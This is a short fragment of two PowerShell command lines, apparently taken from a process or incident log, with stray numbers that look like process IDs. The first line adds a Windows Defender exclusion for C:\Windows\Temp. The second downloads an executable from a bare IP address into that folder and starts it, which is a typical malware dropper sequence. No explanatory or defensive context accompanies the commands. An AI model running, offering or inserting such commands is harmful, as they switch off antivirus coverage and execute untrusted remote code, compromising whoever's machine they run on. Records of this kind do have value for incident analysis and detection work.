powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"
2676powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri 'http://185.39.17.70/zgrnf/njg.exe' -OutFile 'C:\Windows\Temp\rbcoa.exe'; Start-Process 'C:\Windows\Temp\rbcoa.exe'"
2764